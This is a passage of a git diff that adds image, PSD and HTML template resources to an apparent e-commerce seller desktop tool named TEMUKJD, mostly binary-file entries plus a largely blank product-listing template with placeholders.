0000000..7d5af9e Binary files /dev/null and b/TEMUKJD/Resources/SalesCenter.png differ diff --git a/TEMUKJD/Resources/ShopManager.hover.png b/TEMUKJD/Resources/ShopManager.hover.png new file mode 100644 index 0000000..07198a6 Binary files /dev/null and b/TEMUKJD/Resources/ShopManager.hover.png differ diff --git a/TEMUKJD/Resources/ShopManager.png b/TEMUKJD/Resources/ShopManager.png new file mode 100644 index 0000000..98a943e Binary files /dev/null and b/TEMUKJD/Resources/ShopManager.png differ diff --git a/TEMUKJD/Resources/banner_bg.png b/TEMUKJD/Resources/banner_bg.png new file mode 100644 index 0000000..8e49388 Binary files /dev/null and b/TEMUKJD/Resources/banner_bg.png differ diff --git a/TEMUKJD/Resources/choice_buyer_blast.png b/TEMUKJD/Resources/choice_buyer_blast.png new file mode 100644 index 0000000..e3b3f47 Binary files /dev/null and b/TEMUKJD/Resources/choice_buyer_blast.png differ diff --git a/TEMUKJD/Resources/choice_buyer_blast.psd b/TEMUKJD/Resources/choice_buyer_blast.psd new file mode 100644 index 0000000..9cd1210 Binary files /dev/null and b/TEMUKJD/Resources/choice_buyer_blast.psd differ diff --git a/TEMUKJD/Resources/choice_chat.png b/TEMUKJD/Resources/choice_chat.png new file mode 100644 index 0000000..e29be25 Binary files /dev/null and b/TEMUKJD/Resources/choice_chat.png differ diff --git a/TEMUKJD/Resources/choice_extend.png b/TEMUKJD/Resources/choice_extend.png new file mode 100644 index 0000000..bc6419b Binary files /dev/null and b/TEMUKJD/Resources/choice_extend.png differ diff --git a/TEMUKJD/Resources/choice_loginer.png b/TEMUKJD/Resources/choice_loginer.png new file mode 100644 index 0000000..c4b5160 Binary files /dev/null and b/TEMUKJD/Resources/choice_loginer.png differ diff --git a/TEMUKJD/Resources/choice_order.png b/TEMUKJD/Resources/choice_order.png new file mode 100644 index 0000000..95a79fe Binary files /dev/null and b/TEMUKJD/Resources/choice_order.png differ diff --git a/TEMUKJD/Resources/choice_upload.png b/TEMUKJD/Resources/choice_upload.png new file mode 100644 index 0000000..3f58c2f Binary files /dev/null and b/TEMUKJD/Resources/choice_upload.png differ diff --git a/TEMUKJD/Resources/close.hover.png b/TEMUKJD/Resources/close.hover.png new file mode 100644 index 0000000..232de18 Binary files /dev/null and b/TEMUKJD/Resources/close.hover.png differ diff --git a/TEMUKJD/Resources/close.png b/TEMUKJD/Resources/close.png new file mode 100644 index 0000000..784b6f1 Binary files /dev/null and b/TEMUKJD/Resources/close.png differ diff --git a/TEMUKJD/Resources/icon.ico b/TEMUKJD/Resources/icon.ico new file mode 100644 index 0000000..ecb3eea Binary files /dev/null and b/TEMUKJD/Resources/icon.ico differ diff --git a/TEMUKJD/Resources/icon.png b/TEMUKJD/Resources/icon.png new file mode 100644 index 0000000..95c5265 Binary files /dev/null and b/TEMUKJD/Resources/icon.png differ diff --git a/TEMUKJD/Resources/icon_old.png b/TEMUKJD/Resources/icon_old.png new file mode 100644 index 0000000..aae097d Binary files /dev/null and b/TEMUKJD/Resources/icon_old.png differ diff --git a/TEMUKJD/Resources/loading_blue.gif b/TEMUKJD/Resources/loading_blue.gif new file mode 100644 index 0000000..4679238 Binary files /dev/null and b/TEMUKJD/Resources/loading_blue.gif differ diff --git a/TEMUKJD/Resources/login_bg.png b/TEMUKJD/Resources/login_bg.png new file mode 100644 index 0000000..51ec1df Binary files /dev/null and b/TEMUKJD/Resources/login_bg.png differ diff --git a/TEMUKJD/Resources/login_bg.psd b/TEMUKJD/Resources/login_bg.psd new file mode 100644 index 0000000..e80dec5 Binary files /dev/null and b/TEMUKJD/Resources/login_bg.psd differ diff --git a/TEMUKJD/Resources/login_bg_2.png b/TEMUKJD/Resources/login_bg_2.png new file mode 100644 index 0000000..320a980 Binary files /dev/null and b/TEMUKJD/Resources/login_bg_2.png differ diff --git a/TEMUKJD/Resources/login_bg_agent.png b/TEMUKJD/Resources/login_bg_agent.png new file mode 100644 index 0000000..0563abd Binary files /dev/null and b/TEMUKJD/Resources/login_bg_agent.png differ diff --git a/TEMUKJD/Resources/login_bg_old.png b/TEMUKJD/Resources/login_bg_old.png new file mode 100644 index 0000000..d043ba9 Binary files /dev/null and b/TEMUKJD/Resources/login_bg_old.png differ diff --git a/TEMUKJD/Resources/login_input_bg.png b/TEMUKJD/Resources/login_input_bg.png new file mode 100644 index 0000000..ddd58ec Binary files /dev/null and b/TEMUKJD/Resources/login_input_bg.png differ diff --git a/TEMUKJD/Resources/login_user_ico.png b/TEMUKJD/Resources/login_user_ico.png new file mode 100644 index 0000000..a687926 Binary files /dev/null and b/TEMUKJD/Resources/login_user_ico.png differ diff --git a/TEMUKJD/Resources/main_form_logo.png b/TEMUKJD/Resources/main_form_logo.png new file mode 100644 index 0000000..be1f528 Binary files /dev/null and b/TEMUKJD/Resources/main_form_logo.png differ diff --git a/TEMUKJD/Resources/main_form_logo_2.png b/TEMUKJD/Resources/main_form_logo_2.png new file mode 100644 index 0000000..96fbce8 Binary files /dev/null and b/TEMUKJD/Resources/main_form_logo_2.png differ diff --git a/TEMUKJD/Resources/main_form_top_right_bg.png b/TEMUKJD/Resources/main_form_top_right_bg.png new file mode 100644 index 0000000..f30e0ab Binary files /dev/null and b/TEMUKJD/Resources/main_form_top_right_bg.png differ diff --git a/TEMUKJD/Resources/main_menu_collect.png b/TEMUKJD/Resources/main_menu_collect.png new file mode 100644 index 0000000..d841af6 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_collect.png differ diff --git a/TEMUKJD/Resources/main_menu_collect.psd b/TEMUKJD/Resources/main_menu_collect.psd new file mode 100644 index 0000000..4523a80 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_collect.psd differ diff --git a/TEMUKJD/Resources/main_menu_collect_select.png b/TEMUKJD/Resources/main_menu_collect_select.png new file mode 100644 index 0000000..e1d70e0 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_collect_select.png differ diff --git a/TEMUKJD/Resources/main_menu_sales_center.png b/TEMUKJD/Resources/main_menu_sales_center.png new file mode 100644 index 0000000..ba57f35 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_sales_center.png differ diff --git a/TEMUKJD/Resources/main_menu_sales_center_select.png b/TEMUKJD/Resources/main_menu_sales_center_select.png new file mode 100644 index 0000000..511aa03 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_sales_center_select.png differ diff --git a/TEMUKJD/Resources/main_menu_settings.png b/TEMUKJD/Resources/main_menu_settings.png new file mode 100644 index 0000000..ff85fc1 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_settings.png differ diff --git a/TEMUKJD/Resources/main_menu_settings_select.png b/TEMUKJD/Resources/main_menu_settings_select.png new file mode 100644 index 0000000..45ca6bd Binary files /dev/null and b/TEMUKJD/Resources/main_menu_settings_select.png differ diff --git a/TEMUKJD/Resources/main_menu_shop_manage.png b/TEMUKJD/Resources/main_menu_shop_manage.png new file mode 100644 index 0000000..af6a291 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_shop_manage.png differ diff --git a/TEMUKJD/Resources/main_menu_shop_manage_select.png b/TEMUKJD/Resources/main_menu_shop_manage_select.png new file mode 100644 index 0000000..c3d2f68 Binary files /dev/null and b/TEMUKJD/Resources/main_menu_shop_manage_select.png differ diff --git a/TEMUKJD/Resources/main_menu_upload.png b/TEMUKJD/Resources/main_menu_upload.png new file mode 100644 index 0000000..cbf466f Binary files /dev/null and b/TEMUKJD/Resources/main_menu_upload.png differ diff --git a/TEMUKJD/Resources/main_menu_upload_select.png b/TEMUKJD/Resources/main_menu_upload_select.png new file mode 100644 index 0000000..64562fa Binary files /dev/null and b/TEMUKJD/Resources/main_menu_upload_select.png differ diff --git a/TEMUKJD/Resources/max.hover.png b/TEMUKJD/Resources/max.hover.png new file mode 100644 index 0000000..2d7f0e4 Binary files /dev/null and b/TEMUKJD/Resources/max.hover.png differ diff --git a/TEMUKJD/Resources/max.png b/TEMUKJD/Resources/max.png new file mode 100644 index 0000000..6094a07 Binary files /dev/null and b/TEMUKJD/Resources/max.png differ diff --git a/TEMUKJD/Resources/min.hover.png b/TEMUKJD/Resources/min.hover.png new file mode 100644 index 0000000..992c843 Binary files /dev/null and b/TEMUKJD/Resources/min.hover.png differ diff --git a/TEMUKJD/Resources/min.png b/TEMUKJD/Resources/min.png new file mode 100644 index 0000000..bf878d8 Binary files /dev/null and b/TEMUKJD/Resources/min.png differ diff --git a/TEMUKJD/Resources/normal.hover.png b/TEMUKJD/Resources/normal.hover.png new file mode 100644 index 0000000..1aa68e4 Binary files /dev/null and b/TEMUKJD/Resources/normal.hover.png differ diff --git a/TEMUKJD/Resources/normal.png b/TEMUKJD/Resources/normal.png new file mode 100644 index 0000000..bb1a37a Binary files /dev/null and b/TEMUKJD/Resources/normal.png differ diff --git a/TEMUKJD/Resources/qrcode.png b/TEMUKJD/Resources/qrcode.png new file mode 100644 index 0000000..b0c50df Binary files /dev/null and b/TEMUKJD/Resources/qrcode.png differ diff --git a/TEMUKJD/Resources/regedit_bg.png b/TEMUKJD/Resources/regedit_bg.png new file mode 100644 index 0000000..94f67a5 Binary files /dev/null and b/TEMUKJD/Resources/regedit_bg.png differ diff --git a/TEMUKJD/Resources/settings.png b/TEMUKJD/Resources/settings.png new file mode 100644 index 0000000..57abd05 Binary files /dev/null and b/TEMUKJD/Resources/settings.png differ diff --git a/TEMUKJD/Resources/system_1688.png b/TEMUKJD/Resources/system_1688.png new file mode 100644 index 0000000..a6a8eb5 Binary files /dev/null and b/TEMUKJD/Resources/system_1688.png differ diff --git a/TEMUKJD/Resources/system_1688.psd b/TEMUKJD/Resources/system_1688.psd new file mode 100644 index 0000000..9ee550d Binary files /dev/null and b/TEMUKJD/Resources/system_1688.psd differ diff --git a/TEMUKJD/Resources/system_pdd.png b/TEMUKJD/Resources/system_pdd.png new file mode 100644 index 0000000..6ff4da6 Binary files /dev/null and b/TEMUKJD/Resources/system_pdd.png differ diff --git a/TEMUKJD/Resources/system_pdd.psd b/TEMUKJD/Resources/system_pdd.psd new file mode 100644 index 0000000..d2a9a71 Binary files /dev/null and b/TEMUKJD/Resources/system_pdd.psd differ diff --git a/TEMUKJD/Resources/system_pdd_token.png b/TEMUKJD/Resources/system_pdd_token.png new file mode 100644 index 0000000..e8cd725 Binary files /dev/null and b/TEMUKJD/Resources/system_pdd_token.png differ diff --git a/TEMUKJD/Resources/system_pppoe.png b/TEMUKJD/Resources/system_pppoe.png new file mode 100644 index 0000000..d9610e6 Binary files /dev/null and b/TEMUKJD/Resources/system_pppoe.png differ diff --git a/TEMUKJD/Resources/system_proxy.png b/TEMUKJD/Resources/system_proxy.png new file mode 100644 index 0000000..01b6e2e Binary files /dev/null and b/TEMUKJD/Resources/system_proxy.png differ diff --git a/TEMUKJD/Resources/system_tb.png b/TEMUKJD/Resources/system_tb.png new file mode 100644 index 0000000..d91b36a Binary files /dev/null and b/TEMUKJD/Resources/system_tb.png differ diff --git a/TEMUKJD/Resources/system_tb.psd b/TEMUKJD/Resources/system_tb.psd new file mode 100644 index 0000000..b505496 Binary files /dev/null and b/TEMUKJD/Resources/system_tb.psd differ diff --git a/TEMUKJD/Resources/template.html b/TEMUKJD/Resources/template.html new file mode 100644 index 0000000..fe6d7f4 --- /dev/null +++ b/TEMUKJD/Resources/template.html @@ -0,0 +1,816 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + +
    +
    +
    +
    +
    +
    +
    + 产品主图:(点击图片可查看大图) + + 拖动图片以改变主图顺序 + (白底图建议拖动到第五张) + + 本地上传主图 +
    +
    +
      {MainImage}
    +
    +
    + +
    +
    商品属性:
    +
    + {ProductProp} +
    + +
    +
    SKU属性图:(点击图片可查看大图)
    +
    + {SkuProps} +
    + +
    +
    内容图:(点击图片可查看大图)
    + +
    +
    + {ContentImage} +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/TEMUKJD/Resources/tree_default_icon.png b/TEMUKJD/Resources/tree_default_icon.png new file mode 100644 index 0000000..36b5901 Binary files /dev/null and b/TEMUKJD/Resources/tree_default_icon.png differ diff --git a/TEMUKJD/Resources/tree_default_icon_select.png b/TEMUKJD/Resources/tree_default_icon_select.png new file mode 100644 index 0000000..c516338 Binary files /dev/null and b/TEMUKJD/Resources/tree_default_icon_select.png differ diff --git a/TEMUKJD/Resources/tree_云违规排查.png b/TEMUKJD/Resources/tree_云违规排查.png new file mode 100644 index 0000000..7c990a8 Binary files /dev/null and b/TEMUKJD/Resources/tree_云违规排查.png differ diff --git a/TEMUKJD/Resources/tree_云违规排查.psd b/TEMUKJD/Resources/tree_云违规排查.psd new file mode 100644 index 0000000..2000192 Binary files /dev/null and b/TEMUKJD/Resources/tree_云违规排查.psd differ diff --git a/TEMUKJD/Resources/tree_云违规排查_select.png b/TEMUKJD/Resources/tree_云违规排查_select.png new file mode 100644 index 0000000..92b4462 Binary files /dev/null and b/TEMUKJD/Resources/tree_云违规排查_select.png differ diff --git a/TEMUKJD/Resources/tree_产品数据库.png b/TEMUKJD/Resources/tree_产品数据库.png new file mode 100644 index 0000000..e95e60b Binary files /dev/null and b/TEMUKJD/Resources/tree_产品数据库.png differ diff --git a/TEMUKJD/Resources/tree_产品数据库_select.png b/TEMUKJD/Resources/tree_产品数据库_select.png new file mode 100644 index 0000000..4588e20 Binary files /dev/null and b/TEMUKJD/Resources/tree_产品数据库_select.png differ diff --git a/TEMUKJD/Resources/tree_佣金设置.png b/TEMUKJD/Resources/tree_佣金设置.png new file mode 100644 index 0000000..c5140b3 Binary files /dev/null and b/TEMUKJD/Resources/tree_佣金设置.png differ diff --git a/TEMUKJD/Resources/tree_佣金设置.psd b/TEMUKJD/Resources/tree_佣金设置.psd new file mode 100644 index 0000000..ff238b3 Binary files /dev/null and b/TEMUKJD/Resources/tree_佣金设置.psd differ diff --git a/TEMUKJD/Resources/tree_佣金设置_select.png b/TEMUKJD/Resources/tree_佣金设置_select.png new file mode 100644 index 0000000..8165385 Binary files /dev/null and b/TEMUKJD/Resources/tree_佣金设置_select.png differ diff --git a/TEMUKJD/Resources/tree_净化数据.png b/TEMUKJD/Resources/tree_净化数据.png new file mode 100644 index 0000000..376b5a5 Binary files /dev/null and b/TEMUKJD/Resources/tree_净化数据.png differ diff --git a/TEMUKJD/Resources/tree_净化数据_select.png b/TEMUKJD/Resources/tree_净化数据_select.png new file mode 100644 index 0000000..02fcd70 Binary files /dev/null and b/TEMUKJD/Resources/tree_净化数据_select.png differ diff --git a/TEMUKJD/Resources/tree_商品上下架.png b/TEMUKJD/Resources/tree_商品上下架.png new file mode 100644 index 0000000..ebf40b8 Binary files /dev/null and b/TEMUKJD/Resources/tree_商品上下架.png differ diff --git a/TEMUKJD/Resources/tree_商品上下架_select.png b/TEMUKJD/Resources/tree_商品上下架_select.png new file mode 100644 index 0000000..a13bfbf Binary files /dev/null and b/TEMUKJD/Resources/tree_商品上下架_select.png differ diff --git a/TEMUKJD/Resources/tree_商品发布.png b/TEMUKJD/Resources/tree_商品发布.png new file mode 100644 index 0000000..b02957c Binary files /dev/null and b/TEMUKJD/Resources/tree_商品发布.png differ diff --git a/TEMUKJD/Resources/tree_商品发布_select.png b/TEMUKJD/Resources/tree_商品发布_select.png new file mode 100644 index 0000000..1fac792 Binary files /dev/null and b/TEMUKJD/Resources/tree_商品发布_select.png differ diff --git a/TEMUKJD/Resources/tree_商品管理.png b/TEMUKJD/Resources/tree_商品管理.png new file mode 100644 index 0000000..ebf40b8 Binary files /dev/null and b/TEMUKJD/Resources/tree_商品管理.png differ diff --git a/TEMUKJD/Resources/tree_商品管理_select.png b/TEMUKJD/Resources/tree_商品管理_select.png new file mode 100644 index 0000000..a13bfbf Binary files /dev/null and b/TEMUKJD/Resources/tree_商品管理_select.png differ diff --git a/TEMUKJD/Resources/tree_库存管理.png b/TEMUKJD/Resources/tree_库存管理.png new file mode 100644 index 0000000..78f6f65 Binary files /dev/null and b/TEMUKJD/Resources/tree_库存管理.png differ diff --git a/TEMUKJD/Resources/tree_库存管理_select.png b/TEMUKJD/Resources/tree_库存管理_select.png new file mode 100644 index 0000000..4791ee8 Binary files /dev/null and b/TEMUKJD/Resources/tree_库存管理_select.png differ diff --git a/TEMUKJD/Resources/tree_店铺列表.png b/TEMUKJD/Resources/tree_店铺列表.png new file mode 100644 index 0000000..b12cb0f Binary files /dev/null and b/TEMUKJD/Resources/tree_店铺列表.png differ diff --git a/TEMUKJD/Resources/tree_店铺列表_select.png b/TEMUKJD/Resources/tree_店铺列表_select.png new file mode 100644 index 0000000..72fcb3f Binary files /dev/null and b/TEMUKJD/Resources/tree_店铺列表_select.png differ diff --git a/TEMUKJD/Resources/tree_清理无流量.png b/TEMUKJD/Resources/tree_清理无流量.png new file mode 100644 index 0000000..6aef87b Binary files /dev/null and b/TEMUKJD/Resources/tree_清理无流量.png differ diff --git a/TEMUKJD/Resources/tree_清理无流量_select.png b/TEMUKJD/Resources/tree_清理无流量_select.png new file mode 100644 index 0000000..49e7b1a Binary files /dev/null and b/TEMUKJD/Resources/tree_清理无流量_select.png differ diff --git a/TEMUKJD/Resources/tree_用户管理.png b/TEMUKJD/Resources/tree_用户管理.png new file mode 100644 index 0000000..7bfa542 Binary files /dev/null and b/TEMUKJD/Resources/tree_用户管理.png differ diff --git a/TEMUKJD/Resources/tree_用户管理.psd b/TEMUKJD/Resources/tree_用户管理.psd new file mode 100644 index 0000000..6dbe2e3 Binary files /dev/null and b/TEMUKJD/Resources/tree_用户管理.psd differ diff --git a/TEMUKJD/Resources/tree_用户管理_select.png b/TEMUKJD/Resources/tree_用户管理_select.png new file mode 100644 index 0000000..ff7f88e Binary files /dev/null and b/TEMUKJD/Resources/tree_用户管理_select.png differ diff --git a/TEMUKJD/Resources/tree_素材库管理.png b/TEMUKJD/Resources/tree_素材库管理.png new file mode 100644 index 0000000..4e55a83 Binary files /dev/null and b/TEMUKJD/Resources/tree_素材库管理.png differ diff --git a/TEMUKJD/Resources/tree_素材库管理.psd b/TEMUKJD/Resources/tree_素材库管理.psd new file mode 100644 index 0000000..ee58284 Binary files /dev/null and b/TEMUKJD/Resources/tree_素材库管理.psd differ diff --git a/TEMUKJD/Resources/tree_素材库管理_select.png b/TEMUKJD/Resources/tree_素材库管理_select.png new file mode 100644 index 0000000..b5fb868 Binary files /dev/null and b/TEMUKJD/Resources/tree_素材库管理_select.png differ diff --git a/TEMUKJD/Resources/tree_解除限制.png b/TEMUKJD/Resources/tree_解除限制.png new file mode 100644 index 0000000..5e9a9b8 Binary files /dev/null and b/TEMUKJD/Resources/tree_解除限制.png differ diff --git a/TEMUKJD/Resources/tree_解除限制_select.png b/TEMUKJD/Resources/tree_解除限制_select.png new file mode 100644 index 0000000..c3464f7 Binary files /dev/null and b/TEMUKJD/Resources/tree_解除限制_select.png differ diff --git a/TEMUKJD/Resources/tree_跳转上家.png b/TEMUKJD/Resources/tree_跳转上家.png new file mode 100644 index 0000000..98fe83e Binary files /dev/null and b/TEMUKJD/Resources/tree_跳转上家.png differ diff --git a/TEMUKJD/Resources/tree_跳转上家.psd b/TEMUKJD/Resources/tree_跳转上家.psd new file mode 100644 index 0000000..763d12e Binary files /dev/null and b/TEMUKJD/Resources/tree_跳转上家.psd differ diff --git a/TEMUKJD/Resources/tree_跳转上家_select.png b/TEMUKJD/Resources/tree_跳转上家_select.png new file mode 100644 index 0000000..a3cad79 Binary files /dev/null and b/TEMUKJD/Resources/tree_跳转上家_select.png differ diff --git a/TEMUKJD/Resources/tree_运费模板.png b/TEMUKJD/Resources/tree_运费模板.png new file mode 100644 index 0000000..92e055d Binary files /dev/null and b/TEMUKJD/Resources/tree_运费模板.png differ diff --git a/TEMUKJD/Resources/tree_运费模板_select.png b/TEMUKJD/Resources/tree_运费模板_select.png new file mode 100644 index 0000000..ba61bf5 Binary files /dev/null and b/TEMUKJD/Resources/tree_运费模板_select.png differ diff --git a/TEMUKJD/Resources/user_login.png b/TEMUKJD/Resources/user_login.png new file mode 100644 index 0000000..1bda274 Binary files /dev/null and b/TEMUKJD/Resources/user_login.png differ diff --git a/TEMUKJD/Resources/公告发布.png b/TEMUKJD/Resources/公告发布.png new file mode 100644 index 0000000..f8785bc Binary files /dev/null and b/TEMUKJD/Resources/公告发布.png differ diff --git a/TEMUKJD/ResourcesBak/BaseMsgErr.png b/TEMUKJD/ResourcesBak/BaseMsgErr.png new file mode 100644 index 0000000..1912f06 Binary files /dev/null and b/TEMUKJD/ResourcesBak/BaseMsgErr.png differ diff --git a/TEMUKJD/ResourcesBak/BaseMsgInfo.png b/TEMUKJD/ResourcesBak/BaseMsgInfo.png new file mode 100644 index 0000000..f0c961e Binary files /dev/null and b/TEMUKJD/ResourcesBak/BaseMsgInfo.png differ diff --git a/TEMUKJD/ResourcesBak/BaseMsgQue.png b/TEMUKJD/ResourcesBak/BaseMsgQue.png new file mode 100644 index 0000000..59ff5e0 Binary files /dev/null and b/TEMUKJD/ResourcesBak/BaseMsgQue.png differ diff --git a/TEMUKJD/ResourcesBak/FullPaste.png b/TEMUKJD/ResourcesBak/FullPaste.png new file mode 100644 index 0000000..f1c29d8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/FullPaste.png differ diff --git a/TEMUKJD/ResourcesBak/SalesCenter.hover.png b/TEMUKJD/ResourcesBak/SalesCenter.hover.png new file mode 100644 index 0000000..f7a1a65 Binary files /dev/null and b/TEMUKJD/ResourcesBak/SalesCenter.hover.png differ diff --git a/TEMUKJD/ResourcesBak/SalesCenter.png b/TEMUKJD/ResourcesBak/SalesCenter.png new file mode 100644 index 0000000..7d5af9e Binary files /dev/null and b/TEMUKJD/ResourcesBak/SalesCenter.png differ diff --git a/TEMUKJD/ResourcesBak/ShopManager.hover.png b/TEMUKJD/ResourcesBak/ShopManager.hover.png new file mode 100644 index 0000000..07198a6 Binary files /dev/null and b/TEMUKJD/ResourcesBak/ShopManager.hover.png differ diff --git a/TEMUKJD/ResourcesBak/ShopManager.png b/TEMUKJD/ResourcesBak/ShopManager.png new file mode 100644 index 0000000..98a943e Binary files /dev/null and b/TEMUKJD/ResourcesBak/ShopManager.png differ diff --git a/TEMUKJD/ResourcesBak/banner_bg.png b/TEMUKJD/ResourcesBak/banner_bg.png new file mode 100644 index 0000000..8e49388 Binary files /dev/null and b/TEMUKJD/ResourcesBak/banner_bg.png differ diff --git a/TEMUKJD/ResourcesBak/choice_buyer_blast.png b/TEMUKJD/ResourcesBak/choice_buyer_blast.png new file mode 100644 index 0000000..e3b3f47 Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_buyer_blast.png differ diff --git a/TEMUKJD/ResourcesBak/choice_buyer_blast.psd b/TEMUKJD/ResourcesBak/choice_buyer_blast.psd new file mode 100644 index 0000000..9cd1210 Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_buyer_blast.psd differ diff --git a/TEMUKJD/ResourcesBak/choice_chat.png b/TEMUKJD/ResourcesBak/choice_chat.png new file mode 100644 index 0000000..e29be25 Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_chat.png differ diff --git a/TEMUKJD/ResourcesBak/choice_extend.png b/TEMUKJD/ResourcesBak/choice_extend.png new file mode 100644 index 0000000..bc6419b Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_extend.png differ diff --git a/TEMUKJD/ResourcesBak/choice_loginer.png b/TEMUKJD/ResourcesBak/choice_loginer.png new file mode 100644 index 0000000..c4b5160 Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_loginer.png differ diff --git a/TEMUKJD/ResourcesBak/choice_order.png b/TEMUKJD/ResourcesBak/choice_order.png new file mode 100644 index 0000000..95a79fe Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_order.png differ diff --git a/TEMUKJD/ResourcesBak/choice_upload.png b/TEMUKJD/ResourcesBak/choice_upload.png new file mode 100644 index 0000000..3f58c2f Binary files /dev/null and b/TEMUKJD/ResourcesBak/choice_upload.png differ diff --git a/TEMUKJD/ResourcesBak/close.hover.png b/TEMUKJD/ResourcesBak/close.hover.png new file mode 100644 index 0000000..232de18 Binary files /dev/null and b/TEMUKJD/ResourcesBak/close.hover.png differ diff --git a/TEMUKJD/ResourcesBak/close.png b/TEMUKJD/ResourcesBak/close.png new file mode 100644 index 0000000..784b6f1 Binary files /dev/null and b/TEMUKJD/ResourcesBak/close.png differ diff --git a/TEMUKJD/ResourcesBak/icon.png b/TEMUKJD/ResourcesBak/icon.png new file mode 100644 index 0000000..aae097d Binary files /dev/null and b/TEMUKJD/ResourcesBak/icon.png differ diff --git a/TEMUKJD/ResourcesBak/loading_blue.gif b/TEMUKJD/ResourcesBak/loading_blue.gif new file mode 100644 index 0000000..4679238 Binary files /dev/null and b/TEMUKJD/ResourcesBak/loading_blue.gif differ diff --git a/TEMUKJD/ResourcesBak/login_bg.png b/TEMUKJD/ResourcesBak/login_bg.png new file mode 100644 index 0000000..320a980 Binary files /dev/null and b/TEMUKJD/ResourcesBak/login_bg.png differ diff --git a/TEMUKJD/ResourcesBak/login_bg.psd b/TEMUKJD/ResourcesBak/login_bg.psd new file mode 100644 index 0000000..5f4f306 Binary files /dev/null and b/TEMUKJD/ResourcesBak/login_bg.psd differ diff --git a/TEMUKJD/ResourcesBak/login_bg_agent.png b/TEMUKJD/ResourcesBak/login_bg_agent.png new file mode 100644 index 0000000..0563abd Binary files /dev/null and b/TEMUKJD/ResourcesBak/login_bg_agent.png differ diff --git a/TEMUKJD/ResourcesBak/login_bg_old.png b/TEMUKJD/ResourcesBak/login_bg_old.png new file mode 100644 index 0000000..d043ba9 Binary files /dev/null and b/TEMUKJD/ResourcesBak/login_bg_old.png differ diff --git a/TEMUKJD/ResourcesBak/login_input_bg.png b/TEMUKJD/ResourcesBak/login_input_bg.png new file mode 100644 index 0000000..ddd58ec Binary files /dev/null and b/TEMUKJD/ResourcesBak/login_input_bg.png differ diff --git a/TEMUKJD/ResourcesBak/login_user_ico.png b/TEMUKJD/ResourcesBak/login_user_ico.png new file mode 100644 index 0000000..a687926 Binary files /dev/null and b/TEMUKJD/ResourcesBak/login_user_ico.png differ diff --git a/TEMUKJD/ResourcesBak/main_form_logo.png b/TEMUKJD/ResourcesBak/main_form_logo.png new file mode 100644 index 0000000..96fbce8 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_form_logo.png differ diff --git a/TEMUKJD/ResourcesBak/main_form_top_right_bg.png b/TEMUKJD/ResourcesBak/main_form_top_right_bg.png new file mode 100644 index 0000000..f30e0ab Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_form_top_right_bg.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_collect.png b/TEMUKJD/ResourcesBak/main_menu_collect.png new file mode 100644 index 0000000..d841af6 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_collect.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_collect.psd b/TEMUKJD/ResourcesBak/main_menu_collect.psd new file mode 100644 index 0000000..4523a80 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_collect.psd differ diff --git a/TEMUKJD/ResourcesBak/main_menu_collect_select.png b/TEMUKJD/ResourcesBak/main_menu_collect_select.png new file mode 100644 index 0000000..e1d70e0 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_collect_select.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_sales_center.png b/TEMUKJD/ResourcesBak/main_menu_sales_center.png new file mode 100644 index 0000000..ba57f35 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_sales_center.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_sales_center_select.png b/TEMUKJD/ResourcesBak/main_menu_sales_center_select.png new file mode 100644 index 0000000..511aa03 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_sales_center_select.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_settings.png b/TEMUKJD/ResourcesBak/main_menu_settings.png new file mode 100644 index 0000000..ff85fc1 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_settings.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_settings_select.png b/TEMUKJD/ResourcesBak/main_menu_settings_select.png new file mode 100644 index 0000000..45ca6bd Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_settings_select.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_shop_manage.png b/TEMUKJD/ResourcesBak/main_menu_shop_manage.png new file mode 100644 index 0000000..af6a291 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_shop_manage.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_shop_manage_select.png b/TEMUKJD/ResourcesBak/main_menu_shop_manage_select.png new file mode 100644 index 0000000..c3d2f68 Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_shop_manage_select.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_upload.png b/TEMUKJD/ResourcesBak/main_menu_upload.png new file mode 100644 index 0000000..cbf466f Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_upload.png differ diff --git a/TEMUKJD/ResourcesBak/main_menu_upload_select.png b/TEMUKJD/ResourcesBak/main_menu_upload_select.png new file mode 100644 index 0000000..64562fa Binary files /dev/null and b/TEMUKJD/ResourcesBak/main_menu_upload_select.png differ diff --git a/TEMUKJD/ResourcesBak/max.hover.png b/TEMUKJD/ResourcesBak/max.hover.png new file mode 100644 index 0000000..2d7f0e4 Binary files /dev/null and b/TEMUKJD/ResourcesBak/max.hover.png differ diff --git a/TEMUKJD/ResourcesBak/max.png b/TEMUKJD/ResourcesBak/max.png new file mode 100644 index 0000000..6094a07 Binary files /dev/null and b/TEMUKJD/ResourcesBak/max.png differ diff --git 